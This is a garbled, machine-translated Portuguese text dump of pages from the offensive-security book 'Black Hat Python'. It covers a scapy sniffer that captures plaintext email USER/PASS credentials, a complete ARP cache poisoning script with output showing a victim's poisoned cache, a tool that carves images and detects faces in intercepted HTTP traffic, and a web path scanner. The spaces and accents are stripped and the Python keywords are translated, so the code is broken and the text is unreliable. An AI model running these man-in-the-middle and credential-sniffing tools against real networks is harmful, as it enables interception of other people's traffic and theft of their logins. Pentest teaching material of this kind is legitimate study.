Nenhum

Comoincrivelmentefcileraisso!Podemosverquequandooprimeiropacotefoirecebidonarede,onosso
funoderetornoutilizadaafunobuiltinpacket.show()paraexibirocontedodopacoteepara

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 33/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
dissecaralgumasdasinformaesdeprotocolo.Usandoshow()umatimamaneiraparadepurarscriptsdecomovocest
indojuntoparasecertificardequevocestcapturandoasadadesejada.
Agoraquetemosonossosnifferfuncionamentobsico,vamosaplicarumfiltroeadicionaralgumalgicaparaonossoretornodechamada
funcionarparadescascarparaforacordasdeautenticaodeemailrelacionado.
descapy.allimport*

#Nossacallbackpacote
packet_callbackdef(pacote):

seopacote.payload[TCP]:

mail_packet=str(packet[TCP].payload)


Seo"usurio"nomail_packet.lower()ou"passar"emmail_packet.lower():

print"[*]Servidor:%s"%packet[IP].dst
print"[*]%s"%packet[TCP].payload

#Fogoatonossosniffer
fungada(filtro="tcpporta110outcpporta25ouTCPporta143",prn=packet_
callback,store=0)

Prettycoisassimplesaqui.Mudamosnossafunofungadaparaadicionarumfiltroqueincluaapenastrfego
destinadoparaasportasdecorreiocomum110(POP3),143(IMAP)eSMTP(25).Nstambmutilizamosum
novoparmetrochamadoloja,quequandodefinidocomo0garantequescapynomanterospacotesno
memria.umaboaidiausaresseparmetrosevocpretendedeixarumlongoprazosnifferrunning
porqueentovocnoestarconsumindograndesquantidadesdeRAM.Quandoanossafunoderetornochamado,
vamosverificarparasecertificardequetemumacargadedadoseseacargatilcontmousuriotpicoou
ComandosPASScorreio.Sedetectarmosumacadeiadeautenticao,nsimprimiroservidorqueestenviando
loparaeosbytesdopacotededadosreais.

Chutarospneus
Aquiestoalgumasexemplodesadaapartirdeumacontadeemailfictciotenteiconectarmeuclientedeemailpara:
[*]Servidor:25.57.168.12
[*]JmsUSURIO
[*]Servidor:25.57.168.12
[*]PASSjustin
[*]Servidor:25.57.168.12
[*]JmsUSURIO
[*]Servidor:25.57.168.12
[*]TestePASS

Vocpodeverqueomeuclientedeemailesttentandofazerlogonnoservidorno25.57.168.12eenviaro
credenciaisdetextosimplessobreofio.Esteumexemplomuitosimplesdecomovocpodetomarumscapy
sniffingroteiroetransformloemumaferramentatilduranteostestesdepenetrao.
Farejandooseuprpriotrfegopodeserdivertido,massempremelhorparafarejarcomumamigo,entovamosdarumaolhada
emcomovocpodeexecutarumataquedeenvenenamentodeARPparacapturarotrfegodeumamquinadedestinonamesma
rede.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 34/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

ARPCachePoisoningcomscapy
envenenamentoARPumdosmaisantigostruquesaindamaiseficazesnoconjuntodeferramentasdeumhacker.Muitosimplesmente,ns
vaiconvencerumamquinadedestinoquenostornamosseugateway,evamostambmconvencero
gatewayque,afimdealcanaramquinadedestino,todootrfegotemquepassarporns.Cadacomputadoremum
redemantmumcacheARPquearmazenaosendereosMACmaisrecentesquecorrespondemaoIP
endereosnaredelocal,ensestamosindoparaenvenenarestacachecomentradasquenscontrolamosa
alcanaresteataque.PorqueoAddressResolutionProtocoleARPenvenenamentoemgeral
cobertaemnumerososoutrosmateriais,euvoudeixarparaquevocfaaqualquerinvestigaonecessriaparaentender
comoesteataquefuncionaaumnvelinferior.
Agoraquesabemosoqueprecisamosfazer,vamoscolocloemprtica.Quandoeutesteiisso,euataqueiumverdadeiro
mquinaedoWindowsusadomeuKaliVMcomominhamquinadeatacar.Eutambmtesteiestecdigocontra
vriosdispositivosmveisconectadosaumpontodeacessosemfiosefuncionoumuitobem.Aprimeiracoisa
vamosfazerverificarocacheARPnamquinaWindowsdedestinoparaquepossamosveronossoataqueemao
maistarde.ExamineoseguinteparavercomoinspecionarocacheARPnoseuWindowsVM.
C:\Users\Clare>ipconfig

ConfiguraoIPdoWindows

AdaptadorWirelessLANWirelessNetworkConnection:

ConexoespecficaSufixoDNS.:gateway.pace.com
LinklocalIPv6endereos.....:Fe80::34a0:48cd:579:%a3d911
EndereoIPv4...........:172.16.1.71
Mscaradesubrede...........:255.255.255.0
GatewayPadro.........:172.16.1.254

C:\Users\Clare>arpa

Interface:172.16.1.710xB

EndereoInternet Endereofsico Digitar


172.16.1.254 3cea4F2b41f9 dinmico
172.16.1.255 ffffffffffff esttico
224.0.0.22 01005e000016 esttico
224.0.0.251 01005e0000fb esttico
224.0.0.252 01005e0000fc esttico
255.255.255.255 ffffffffffff esttico

EntoagorapodemosverqueoendereoIPdogatewayestem172.16.1.254eseucacheARPassociada
entradatemumendereoMACde3cea4F2b41f9.Vamostomarnotadestaporquepodemosver
ocacheARP,enquantooataqueestemcursoeverquensmudamosaportadeentradadoregistrado
EndereoMAC.AgoraquesabemosqueogatewayeonossoendereoIPdedestino,vamoscomearacodificaronossoARP
scriptdeenvenenamento.AbraumnovoarquivoPython,chamearper.py,einsiraoseguintecdigo:
descapy.allimport*
importos
sysimportao
rosqueamentodeimportao
sinaldeimportao

interface ="En1"
target_ip ="172.16.1.71"
gateway_ip ="172.16.1.254"
packet_count=1000

#Definirnossainterface
conf.iface=Interface

#Desligarasada
conf.verb=0

print"[*]Configurando%s"interface%

gateway_mac=get_mac(gateway_ip)

segateway_macNone:
print"[!!!]FalhaaoobteroMACdogateway.Saindo."
sys.exit(0)
outro:
print"[*]gateway%sestem%s"%(gateway_ip,gateway_mac)

target_mac=get_mac(target_ip)

setarget_macNone:
print"[!!!]FalhaaoobteroalvoMAC.sair."
sys.exit(0)
outro:
print"[*]Alvo%sestem%s"%(target_ip,target_mac)

#Comearadiscussoveneno
poison_thread=threading.Thread(target=poison_target,args=
(Gateway_ip,gateway_mac,target_ip,target_mac))
poison_thread.start()

experimentar:
print"[*]Apartirsnifferpor%dpacotes"%packet_count

bpf_filter="iphost%s"%target_ip
pacotes=fungada(count=packet_count,filter=bpf_filter,iface=interface)
#Escreverospacotescapturados
wrpcap('arper.pcap',pacotes)

#Restaurararede
restore_target(gateway_ip,gateway_mac,target_ip,target_mac)

excetoKeyboardInterrupt:
#Restaurararede
restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
sys.exit(0)

Estaapartedeinstalaoprincipaldonossoataque.ComeamosporresolverogatewayedestinoIP
doendereocorrespondenteendereosMACusandoumafunochamadaget_macquevamossondarembreve.
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 35/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
Depoisdeterconseguidoisso,nsgirarumsegundothreadparacomearoenvenenamentorealARP
ataque.Emnossosegmentoprincipal,comeamosumsnifferqueircapturarumvalorpredefinidodepacotes
usandoumfiltroBPFparaapenasotrfegodecapturaparaonossoendereoIPdedestino.Quandotodosospacotestenhamsido
capturado,nsescrevlosparaumarquivoPCAPparaquepossamosabrilosnoWiresharkouutilizaronosso
prximoroteiroimagemcarvingcontraeles.Quandooataqueterminado,nschamamosonosso
restore_target funo,queresponsvelporcolocararededevoltaparaaformacomoelefoi
antesqueoenvenenamentoARPocorreu.Vamosadicionarasfunesdeapoioagoraperfurandona
seguintecdigoacimadonossoblocodecdigoanterior:
restore_targetdef(gateway_ip,gateway_mac,target_ip,target_mac):

#Mtodoligeiramentediferenteusandoenviar
print"[*]Restaurandoalvo..."
enviar(ARP(op=2,psrc=gateway_ip,PDST=target_ip,
hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=5)
enviar(ARP(op=2,psrc=target_ip,PDST=gateway_ip,
hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=5)

#Sinalizaothreadprincipalparasair

get_macdef(ip_address):
os.kill(os.getpid(),signal.SIGINT)

respostas,semresposta=
SRP(ter(dst="ff:ff:ff:ff:ff:ff")/ARP(PDST=ip_address)
timeout=2,repetir=10)

#RetornaroendereoMACdeumaresposta
paraS,Rnasrespostas:
retornor[ter].src

Nenhumvoltar
poison_targetdef(gateway_ip,gateway_mac,target_ip,target_mac):

poison_target=ARP()
poison_target.op 2=
poison_target.psrc=gateway_ip
poison_target.pdst=target_ip
poison_target.hwdst=target_mac

poison_gateway=ARP()
poison_gateway.op 2=
poison_gateway.psrc=target_ip
poison_gateway.pdst=gateway_ip
poison_gateway.hwdst=gateway_mac

print"[*]ComeandoovenenoARP.[CTRLCparaparar]"

whileTrue:
experimentar:
enviar(poison_target)
enviar(poison_gateway)

time.sleep(2)
excetoKeyboardInterrupt:
restore_target(gateway_ip,gateway_mac,target_ip,target_mac)

print"[*]ataqueARPvenenoterminado."
Retorna

Entoestaacarneeasbatatasdoataquereal.Nossarestore_targetfunosimplesmenteenvia
ospacotesARPadequadosemissodeendereoderedepararedefiniroscachesARPda
gatewayealvomquinas.Nstambmenviarumsinalparaosegmentoprincipalparasair,oquesertil
NocasodonossosegmentoenvenenamentoexecutadoemumassuntoouvocbaterCTRLCnoseuteclado.nossaget_mac
funoresponsvelpelautilizaodoSRP(enviarereceberpacotes)FunoparaemitirumasolicitaoARP
paraoendereoIPespecificado,afimderesolveroendereoMACassociadoaele.Nosso
poison_targetfunoconstriseARPpedidosparaenvenenartantooalvoIPedaportadeentrada
.PorenvenenandotantoaportadeentradaeodestinoIPendereo,quepodeverotrfegofluindoemeforade
oalvo.NscontinuamosemitindoessasrequisiesARPemumloopparasecertificardequeorespectivoARP
entradasdecachepermanecemenvenenadoparaaduraodonossoataque.
Vamosdarestemeninomauparaumarotao!

Chutarospneus
Antesdecomear,precisoprimeirodizeranossamquinahostlocalquepodemostransmitirpacotesaolongode
ogatewayeoendereoIPdedestino.SevocestnoseuKaliVM,digiteoseguintecomando
emseuterminal:
#:>Echo1>/proc/sys/net/ipv4/ip_forward

SevocumfanboydaApple,emseguida,useoseguintecomando:
fanboy:tmpjustin$sudosysctlwnet.inet.ip.forwarding=1

AgoraquetemosIPencaminhamentonolugar,vamosfogoatonossoroteiroeverificarocacheARPdonosso
mquinadedestino.Apartirdesuamquinadeataque,executeoseguinte(comoroot):
fanboy:tmpjustin$sudopython2.7arper.py
AVISO:NenhumarotaencontradaparaodestinoIPv6::(semrotapadro?)
[*]ConfigurandoEN1
[*]Gateway172.16.1.254estem3c:EA:4F:2b:41:f9
[*]Alvo172.16.1.71de00:22:5F:ec:38:3d
[*]ApartirdovenenoARP.[CTRLCparaparar]
[*]Snifferdepartidapara1000pacotes

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 36/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
Impressionante!Nenhumerroououtraestranheza.Agoravamosvalidaroataquenossamquinadedestino:
C:\Users\Clare>arpa

Interface:172.16.1.710xB
EndereoInternet Endereofsico Digitar
172.16.1.64 1040f3ab7102 dinmico
172.16.1.254 1040f3ab7102 dinmico
172.16.1.255 ffffffffffff esttico
224.0.0.22 01005e000016 esttico
224.0.0.251 01005e0000fb esttico
224.0.0.252 01005e0000fc esttico
255.255.255.255 ffffffffffff esttico

agoravocpodeverqueopobreClare(difcilsercasadacomumhacker,Hackin'nofcil,etc.)temagora
seucacheARPenvenenadoondeogatewayagoratemomesmoendereoMACcomooatacante
computador.Vocpodeverclaramentenaentradaacimadaportadeentradaqueeuestouatacandode172.16.1.64.
Quandooataqueacabadocapturadepacotes,vocdeveverumaarper.pcaparquivonomesmodiretrio
comoseuscript.Pode,claro,fazercoisascomoforarocomputadordedestinoparaoproxytodooseutrfego
atravsdeumainstncialocaldoarrotooufazerqualquernmerodeoutrascoisasdesagradveis.Vocpodequererpendurarsobrea
quePCAPparaaprximaseosobreprocessamentodePCAPvocnuncasabeoquevocpodeencontrar!

PCAPProcessing
WiresharkeoutrasferramentascomoRedeMinersograndesparainterativamenteexploraracapturadepacotes
arquivos,mashavermomentosemquevocdesejacortarecortarPCAPsutilizandoPythonescapy.Alguns
grandescasosdeusoestoagerarcasosdetestedefuzzingcombasenotrfegoderedecapturadooumesmoalgo
tosimplescomorepetirotrfegoquevoctenhacapturadoanteriormente.
VamosdarumavoltaumpoucodiferentesobreissoetentaresculpirarquivosdeimagemdeHTTP
trfego.Comestesarquivosdeimagememmos,vamosusarOpenCV,[9]umaferramentadevisoporcomputador,paratentar
detectarimagensquecontmrostoshumanosparaquepossamosdiminuirasimagensquepodemserinteressantes.
PodemosusarnossoscriptenvenenamentoARPanteriorparagerarosarquivosPCAPouvocpodeestendero
ARPenvenenamentosnifferparafazerontheflydetecofacialdeimagensenquantoametaanavegao.Vamos
acomearpelaquedanocdigonecessriopararealizaraanlisePCAP.Abrirpic_carver.pye
insiraoseguintecdigo:
importaore
zlibimport
cv2importao

descapy.allimport*

pictures_directory="/home/justin/pic_carver/imagens"
faces_directory ="/Home/justin/pic_carver/rostos"
pcap_file ="Bhp.pcap"

http_assemblerdef(pcap_file):

carved_images=0
faces_detected=0

A=rdpcap(pcap_file)


sesses =()a.sessions

paraasessoemsesses:

http_payload=""

parapacotesemsesses[sesso]:

experimentar:
seopacote[TCP].dport==80oupacote[TCP].sport==80:

#Remontarofluxode
http_payload+=str(packet[TCP].payload)
exceto:
passar

headers=get_http_headers(http_payload)

secabealhosNone:
continuar
imagem,image_type=extract_image(cabealhos,http_payload)

seaimagemnonenhumeimage_typenoNone:

#Armazenaraimagem
file_name="%spic_carver_%d.%s"%
(Pcap_file,carved_images,image_type)

fd=open("%s/%s"%
(Pictures_directory,file_name),"wb")

fd.write(imagem)
fd.close()

carved_images+1=

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 37/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
#Agoratentaradetecoderosto
experimentar:
result=face_detect("%s/%s"%
(Pictures_directory,file_name),file_name)

seoresultadoforverdadeiro:
faces_detected+1=
exceto:
passar

voltarcarved_images,faces_detected

carved_images,faces_detected=http_assembler(pcap_file)

impresso"Extrado:%dimagens"%carved_images
print"Detectado:%denfrenta"%faces_detected

Estaaprincipallgicaesqueletodetodoonossoroteiro,evamosadicionarnasfunesdeapoio
Embreve.Paracomear,abraoarquivoPCAPparaprocessamento.Aproveitamosumacaractersticabonitade
ScapyparasepararautomaticamentecadasessoTCPemumdicionrio.Nsusamosissoefiltrarsomente
OtrfegoHTTPe,emseguida,concatenaracargadetodootrfegoHTTPemumnicobuffer.este
efetivamenteomesmoqueclicarcomobotodireitonoWiresharkeselecionandoFollowTCPStream.Depoisdens
terosdadosHTTPremontado,nspasslonossafunodecabealhoHTTPdeanlise,queser
permitirnosparainspecionaroscabealhosHTTPindividualmente.Depoisquevalidarqueestamosrecebendoumaimagem
devoltaemumarespostaHTTP,extramosaimagemcruaeretornarotipodeimagemedocorpobinrio
daprpriaimagem.Estanoumaimagemrotinadeextraoprovadebalas,mascomovocvaiver,elefunciona
surpreendentementebem.Nsarmazenaraimagemextradaedepoispassarocaminhodoarquivojuntoaonossofacial
Rotinadedeteco.
Agoravamoscriarasfunesdeapoio,adicionandooseguintecdigoacimadanossahttp_assembler
funo.
get_http_headersdef(http_payload):

experimentar:
#DividiroscabealhosforaseeleotrfegoHTTP
headers_raw=http_payload[:http_payload.index("\r\n\r\n")+2]

#Quebraroscabealhos
headers=dict(re.findall(r"?(P<'name>*):.?(P<valor>*)\r\n?.?",
headers_raw))
exceto:
Nenhumvoltar

se"ContentType"nonoscabealhos:
Nenhumvoltar

retornarcabealhos

defextract_image(cabealhos,http_payload):

imagem =None
image_type=None

experimentar:
se"imagem"emcabealhos['ContentType']:

#Agarrarotipodeimagemeimagemcorporal
image_type=cabealhos['ContentType'].split("/")[1]

image=http_payload[http_payload.index("\r\n\r\n")+4:]

#Sedetectarmoscompressodescompactaraimagem
experimentar:
se"ContentEncoding"emheaders.keys():
secabealhos['ContentEncoding']=="gzip":
image=zlib.decompress(imagem,16+zlib.MAX_WBITS)
cabealhoselif['ContentEncoding']=="desinflar":
image=zlib.decompress(imagem)
exceto:
passar
exceto:
voltarNada,Nada

Imagemderetorno,image_type

EssasfunesdeapoionosajudaradarumaolhadamaisdepertoosdadosHTTPquensrecuperadosdenossa
ArquivoPCAP.Oget_http_headersfunorecebeotrfegoHTTPcruedivideoscabealhos
usandoumaexpressoregular.Oextract_imagefunousaoscabealhosHTTPedetermina
serecebemosumaimagemnarespostaHTTP.SedetectarmosqueoContentTypecabealho
contmefectivamenteotipodeimagemMIME,dividimosotipodeimagemesehouvercompresso
aplicadoimagememtrnsito,tentamosdescompactloantesdedevolverotipodeimagemedo
bufferdeimagemcrua.Agoravamoscairemnossocdigodedetecofacialparadeterminarsehumrostohumanoem
qualquerumadasimagensquerecuperados.Adicioneoseguintecdigoparapic_carver.py:
face_detectdef(caminho,file_name):

img =Cv2.imread(caminho)


cascade=cv2.CascadeClassifier("haarcascade_frontalface_alt.xml")
rects =Cascade.detectMultiScale(img,1,3,4,cv2.cv.CV_HAAR_
SCALE_IMAGE,(20,20))

iflen(rects)==0:
retornarFalse
rects[:,2:]+=rects[:,:2]

#Destacarosrostosnaimagem
parax1,y1,x2,y2emrects:
cv2.rectangle(IMG,(x1,y1),(X2,Y2),(127,255,0),2)

cv2.imwrite("%s/%s%s"%(faces_directory,pcap_file,file_name),img)

retornarTrue

EstecdigofoigenerosamentecompartilhadosporChrisFidaoemhttp://www.fideloper.com/facialdetection/com

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 38/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
ligeirasmodificaesporsinceramente.UsandoasligaesOpenCVPython,podemoslernaimagem
edepoisaplicarumclassificadorquetreinadocomantecednciaparaadetecoderostosemumaviradaparaafrente
orientao.Hclassificadoresdeperfil(delado)dedetecoderosto,mos,frutas,etodaumasrie
deoutrosobjetosquevocpodeexperimentarporsimesmo.Apsadetecofoiexecutado,eleirretornar
Ascoordenadasdoretnguloquecorrespondemaolocalondeacarafoidetectadonaimagem.Emseguida,desenharum
retnguloverderealsobreaquelareaeescreveraimagemresultante.Agoravamosdartudoisso
paradarumavoltadentrodoseuKaliVM.

Chutarospneus
SevocnotiverinstaladopelaprimeiravezasbibliotecasOpenCV,executeosseguintescomandos(maisumavez,obrigado,
ChrisFidao)apartirdeumterminalnoseuKaliVM:
#:>Aptgetinstalaropythonopencvpythonnumpypythonscipy

Issodeveinstalartodososarquivosnecessriosnecessriosparalidarcomadetecofacialemnossasimagensresultantes.
Nstambmprecisamospegaroarquivodetreinamentodedetecofacialassim:
wgethttp://eclecti.cc/files/2008/03/haarcascade_frontalface_alt.xml

Agoracrieumpardediretriosparaanossaproduo,cairemumPCAP,eexecutaroscript.Istodeveria
algoparecidocomisto:
#:>Mkdirimagens
#:>Mkdirrostos
#:>Pythonpic_carver.py
Extrado:189imagens
Detectado:32rostos
#:>

VocpodeverumasriedemensagensdeerroqueestosendoproduzidosporOpenCVdevidoaofatodequealgunsdos
imagensforamalimentadasparaelepodeestarcorrompidoouparcialmentebaixadoouseuformatonosejaoferecido.
(Euvoudeixaraconstruodeumaextraodeimagemrobustaerotinadevalidaocomoumaliodecasapara
voc.)Sevoccrackabrirseudiretriorostos,vocdeveverumnmerodearquivoscomrostosemagia
caixasverdesdesenhadaemtornodeles.
Estatcnicapodeserusadoparadeterminarquaisostiposdecontedoseualvoestolhando,bemcomoa
Descubraseaproximaprovavelmenteatravsdeengenhariasocial.Pode,claro,estenderesteexemploparaalm
uslocontraasimagensesculpidasemPCAPseusloemconjuntocomorastreamentodawebeanlise
tcnicasdescritasnoscaptulosposteriores.

[8] http://www.secdev.org/projects/scapy/doc/installation.html#windows

[9] ConfiraOpenCVaqui:http://www.opencv.org/.

Captulohackery5.Web
Analisandoaplicaeswebabsolutamentecrticoparaumatacanteoupenetraotester.Emmaismoderna
redes,aplicaeswebapresentarasuperfciedomaiorataqueeassimtambmsoosmaiscomuns
avenidaparaganharacesso.Humasriedeexcelentesferramentasdeaplicaowebquetenhamsido
escritoemPython,incluindow3af,SqlMap,eoutros.Francamente,temascomoinjeodeSQL
foramespancadosatamorte,eoconjuntodeferramentasdisponveismaduroosuficienteparaquensnoprecisamosdereinventar
aroda.Emvezdisso,vamosexplorarosconceitosbsicosdeinteragircomaWebusandoPython,eentoconstruir
esseconhecimentoparacriarreconhecimentoedeforabrutaferramental.VocvaivercomoanlisedeHTML
podesertilnacriaodeforadoresbrutos,ferramentasdereconhecimentoesitesdetextopesadodeminerao.Aidia
criaralgumasferramentasdiferentesparadarlheashabilidadesfundamentaisquevocprecisaparaconstruirqualquertipodeweb
ferramentadeavaliaodeaplicativoqueoseucenriodeataqueemparticularexige.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 39/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

ABibliotecasoquetedaWeb:urllib2
Muitoparecidocomaescritadeferramentasderedecomabibliotecadesoquete,quandovocestcriandoferramentasparainteragircom
serviosweb,vocvaiusarourllib2biblioteca.VamosdarumaolhadafazendoumasolicitaoGETmuitosimples
paraositeNoStarchPress:
urllib2deimportao

corpo=urllib2.urlopen("http://www.nostarch.com")

impressobody.read()

EsteoexemplomaissimplesdecomofazerumasolicitaoGETparaumsite.Estejaconscientedequeestamosapenas
buscarapginarawapartirdositeNoStarch,equenenhumJavaScriptououtrodoladodocliente
lnguasserexecutado.NssimplesmentepassaremumaURLparaourlopenfunoeeleretornaumarquivolike
objetoquenospermitelerdevoltaocorpodoqueosretornosdeservidorwebremoto.Namaioriadoscasos,
noentanto,vocvaiquererumcontrolemaisdetexturafinasobrecomovocfazeressassolicitaes,
inclusivesendocapazdedefinircabealhosespecficos,lidarcomcookies,ecriarsolicitaesPOST.urllib2
expeumPedidodeclassequelhedessenveldecontrole.Abaixoestumexemplodecomocriar
omesmopedidoGETutilizandooPedidodeclasseedefinirumcabealhoHTTPpersonalizadoUserAgent:
urllib2deimportao

url="http://www.nostarch.com"

cabealhos={}
cabealhos['UserAgent']="Googlebot"

pedido=urllib2.Request(url,headers=cabealhos)
resposta=urllib2.urlopen(request)

response.readprint()
response.close()

AconstruodeumPedidoobjectoligeiramentediferentedoqueonossoexemploanterior.Paracriar
cabealhospersonalizados,vocdefineumdicionriocabealhos,oquelhepermite,emseguida,definirachavedecabealhoe
valorquevocdesejausar.Nestecaso,vamosfazeronossoscriptPythonparecesero
Googlebot.Emseguida,criamosonossoPedidoobjetoepassarnaurleoscabealhosdicionrio,
e,emseguida,passaroPedidodeobjetoparaourlopenchamadadefuno.Issoretornadearquivoscomoumnormal,
objetoquepodemosusarparalerosdadosapartirdositeremoto.
Nsagoratemososmeiosfundamentaisparaconversarcomservioswebesites,entovamoscriaralgumtil
ferramentalparaqualquerataquedeaplicaesweboutestedepenetrao.

InstalaesmapeamentoOpenSourceWebApp
sistemasdegestodecontedoeplataformasdeblogscomoJoomla,WordPresseDrupalfazer
iniciarumnovoblogousitesimples,eelessorelativamentecomunsemumambientedehospedagemcompartilhada
oumesmoumaredecorporativa.Todosossistemastmosseusprpriosdesafiosemtermosdeinstalao,
configuraoegerenciamentodepatches,eestassuitesCMSnosoexcepo.Quandoumexcessodetrabalho
sysadminouumdesenvolvedorwebinfeliznoseguetodososprocedimentosdeseguranaedeinstalao,elepode
serpresasfceisparaumatacanteparaobteracessoaoservidorweb.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 40/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
Porquenspodemosfazerdownloaddequalqueraplicativodeorigemwebabertaelocalmentedeterminaroseuarquivoe
estruturadediretrios,podemoscriarumscannerbuiltpropsitoquepodecaarparatodososarquivosquesoacessveis
nodestinoremoto.Issopodeerradicararquivosdeinstalaodesobra,diretriosquedevemserprotegidos
por.htaccessarquivos,eoutrascoisasquepodemajudarumatacantenaobtenodeumpontodeapoionaweb
servidor.EsteprojetotambmlheensinacomoutilizarPythonQueueobjetos,quenospermitemconstruirum
grandes,threadsafepilhadeitensetervriossegmentospegaritensparaprocessamento.Istoirpermitir
nossoscannerparaexecutarmuitorapidamente.Vamosabrirweb_app_mapper.pyeinsiraoseguintecdigo:
Filadeimportao
rosqueamentodeimportao
importos
urllib2deimportao

tpicos =10

alvo ="Http://www.blackhatpython.com"
directory="/Users/justin/Downloads/joomla3.1.1"
filtros =[".jpg",".Gif","png",".Css"]

os.chdir(diretrio)

web_paths=Queue.Queue()

parar,d,femos.walk("."):
paraarquivosemf:
remote_path="%s/%s"%(r,arquivos)
Seremote_path.startswith("."):
remote_path=remote_path[1]:
seos.path.splitext(arquivos)[1]noporfiltros:
web_paths.put(remote_path)

test_remotedef():
enquantonoweb_paths.empty():
path=web_paths.get()
url="%s%s"%(meta,path)

request=urllib2.Request(url)
experimentar:
response=urllib2.urlopen(request)
content=response.read()

print"[%d]=>%s"%(response.code,path)
response.close()

exceptourllib2.HTTPErrorcomoerro:
#print"Falhou%s"%error.code
passar

parainoalcance(threads):
print"threadPiracema:%d"%i
t=threading.Thread(target=test_remote)
t.start()

Comeamospordefinirositededestinoremotoeodiretriolocalnoqualtemos
downloadeextraiuoaplicativoweb.Nstambmcriarumasimpleslistadeextensesdearquivoque
Noestamosinteressados emfingerprinting.Estalistapodeserdiferente,dependendodoaplicativodedestino.o

web_pathsvarivelanossafiladeobjeto,ondensvaiarmazenarosarquivosquevamostentarparalocalizar
noservidorremoto.Emseguida,usamosoos.walkfunoparapercorrertodososarquivose
diretriosnodiretriodoaplicativoweblocal.medidaquecaminhamosatravsdosarquivosediretrios,
nsestamosconstruindoocaminhocompletoparaosarquivosdedestinoetestlascontraanossalistadefiltrosparagarantirquens
estolhandoapenasparaostiposdearquivoquequeremos.Paracadaarquivovlidoencontramoslocalmente,nsadicionloaonosso
web_pathsQueue.
Olhandoparaaparteinferiordoscript,estamosacriarumasriederoscas(comodefinidonotopodo
arquivo)quecadaumdelesserchamadootest_remotefuno.Otest_remotefunooperaemum
loopqueirmanterexecuoatqueoweb_pathsQueueestvazio.Emcadaiteraodoloop,ns
agarrarumcaminhodafilade,adicionloaocaminhobasedositededestino,eemseguida,tentarrecuperlo.
Seformosbemsucedidosemrecuperaroarquivo,asadadocdigodestatusHTTPeocaminhocompletoparaoarquivo
.Seoarquivonoencontradoouestprotegidoporum.htaccessarquivo,esteircausarurllib2paralanarum
erro,quelidamoscomparaqueolooppodecontinuaraexecuo.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 41/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Chutarospneus
Parafinsdeteste,euinstaleioJoomla3.1.1nomeuKaliVM,masvocpodeusarqualquerwebdecdigoaberto
aplicativoquevocpodeimplantarrapidamenteouquevocjemexecuo.Quandovocexecuta
web_app_mapper.py,vocdeveverasadacomoaseguinte:
roscadedesova:0
roscadedesova:1
roscadedesova:2
roscadedesova:3
roscadedesova:4
roscadedesova:5
roscadedesova:6
roscadedesova:7
roscadedesova:8
roscadedesova:9
[200]=>/htaccess.txt
[200]=>/web.config.txt
[200]=>/LICENSE.txt
[200]=>/README.txt
[200]=>/administrator/cache/index.html
[200]=>/administrator/components/index.html
[200]=>/administrator/components/com_admin/controller.php
[200]=>/administrator/components/com_admin/script.php
[200]=>/administrator/components/com_admin/admin.xml
[200]=>/administrator/components/com_admin/admin.php
[200]=>/administrator/components/com_admin/helpers/index.html
[200]=>/administrator/components/com_admin/controllers/index.html
[200]=>/administrator/components/com_admin/index.html
[200]=>/administrator/components/com_admin/helpers/html/index.html
[200]=>/administrator/components/com_admin/models/index.html
[200]=>/administrator/components/com_admin/models/profile.php
[200]=>/administrator/components/com_admin/controllers/profile.php

Vocpodeverqueestamospegandoalgunsresultadosvlidos,incluindoalguns.TxtearquivosXML.Do
Claro,vocpodeconstruiraintelignciaadicionalnoscriptparaarquivosquevocestinteressadoemretornarsomente
talcomoaquelescomapalavrainstalarneles.

DiretrioselocalizaesdearquivoBruteForando
Oexemploanteriorassumeummontedeconhecimentosobreoseudestino.Mas,emmuitoscasosemquevocest
atacarumaplicativowebpersonalizadoousistemadeecommercegrande,vocnovaiestarcientedetodosos
arquivosacessveisnoservidorweb.Geralmente,vocvaiimplantarumaaranha,comoaqueestincludano
ArrotoSuite,pararastrearositededestino,afimdedescobriromximodaaplicaowebcomo
